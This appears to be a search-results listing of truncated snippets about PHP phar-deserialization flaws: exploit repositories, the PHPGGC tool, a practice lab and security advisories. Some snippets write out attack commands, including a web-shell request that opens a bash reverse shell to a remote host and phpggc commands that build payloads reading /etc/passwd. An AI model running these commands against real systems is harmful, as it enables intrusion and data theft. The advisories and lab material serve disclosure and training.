361 matches found
laravel-exploits
laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...
cve-2023-3824
sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...
CVE-2021-3129
CVE-2021-3129 Laravel RCE CVE-2021-3129 Vulnerability Overview When Laravel's debug mode is enabled, due to the unsafe use of the filegetcontents and fileputcontents functions by Laravel's built-in Ignition component, an attacker can trigger Phar deserialization by sending malicious requests,...
LKWA
LKWA Lesser Known Web Attack Lab estรก diseรฑado para pentesters intermedios que pueden probar y practicar ataques web menos conocidos como Object Injection, XSSI, PHAR Deserialization, variables variables, etc. Los write-ups son bienvenidos. Mi propio walk-through estรก aquรญ . Instalaciรณn - Local...
PrestaShop-CVE-2018-19126
PrestaShop Back Office Remote Code Execution CVE-2018-19126 This is the PoC for CVE-2018-19126, chaining multiple vulnerabilities in PrestaShop Back Office to trigger deserialization via phar to achieve remote code execution. Prerequisite: PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4...
CVE-2021-3129
CVE-2021-3129 โ Laravel Ignition Remote Code Execution CVSS 9.8 Critical | Unsafe File Operations โ Log Poisoning โ Phar Deserialization โ RCE Overview Laravel Ignition 2.5.2 Laravel 8.4.2 is vulnerable to RCE when APPDEBUG=true. The /ignition/execute-solution endpoint allows arbitrary file writi...
laravel-exploits
laravel-exploits ะญะบัะฟะปะพะนั ะดะปั CVE-2021-3129 ะะพะดัะพะฑะฝะพััะธ: https://www.ambionics.io/blog/laravel-debug-rce ะัะฟะพะปัะทะพะฒะฐะฝะธะต root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...
CVE-2026-45034
๐งจ PHPSpreadsheet Phar Deserialization Exploit BypassprohibitWrappers + Remote Code Execution RCE on phpoffice/phpspreadsheet This repository provides a proof-of-concept PoC exploit for a critical vulnerability in the popular PHP library PHPSpreadsheet. The attack abuses the phar:// wrapper to...
PoC-for-CVE-2020-28948-CVE-2020-28949
POC for CVE-2020-28948 & CVE-2020-28949 The files here contain PoC for CVE-2020-28948 & CVE-2020-28949 to achieve remote exploit The server The server folder contains a simple upload server which uses the vulnerable ArchiveTar library, located in server/Archive. The server accepts a Tar archive...
CVE-2021-3129
CVE-2021-3129 root@kitploit: Generate a phar package with custom commands: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a enter the php command line environment $fp = fopen'php://output', 'w'; streamfilterappend$fp,...
phpggc
PHPGGC: PHP Generic Gadget Chains PHPGGC is a library of unserialize payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to...
CVE-2024-55187
Summary Sensitive administrative parameters are not sufficiently sanitized, allowing an attacker to poison paths to system binaries. The attacker can then upload dangerous CSV files that can then be treated as PHAR archives holding shell metacharacters that will be evaluated by PHP's exec call,...
October CMS: Incomplete Scheme Validation in Image Resizer
The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...
Exploit for CVE-2021-3129
CVE-2021-3129 โ Laravel Ignition Remote Code Execution CVSS...
๐ PHPSpreadsheet 5.8.0 Remote Code Execution
PHPSpreadsheet version 5.8.0 suffers from a phar deserialization remote code execution vulnerability. ================================================================================================================================== | Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE | | Auth...
PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...
GHSA-2FMJ-P74R-3WJM PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...
CVE-2026-49286
CVE-2026-49286 - PhpWeasyPrint : The library (prior to 2.6.0) guards the output filename against the phar:// stream wrapper with a case-sensitive blacklist. Because PHP stream wrappers are case-insensitive, inputs like PHAR://, Phar:// bypass the check and reach fileExists() in prepareOutput(), a...
CVE-2026-49286 PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)
PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc...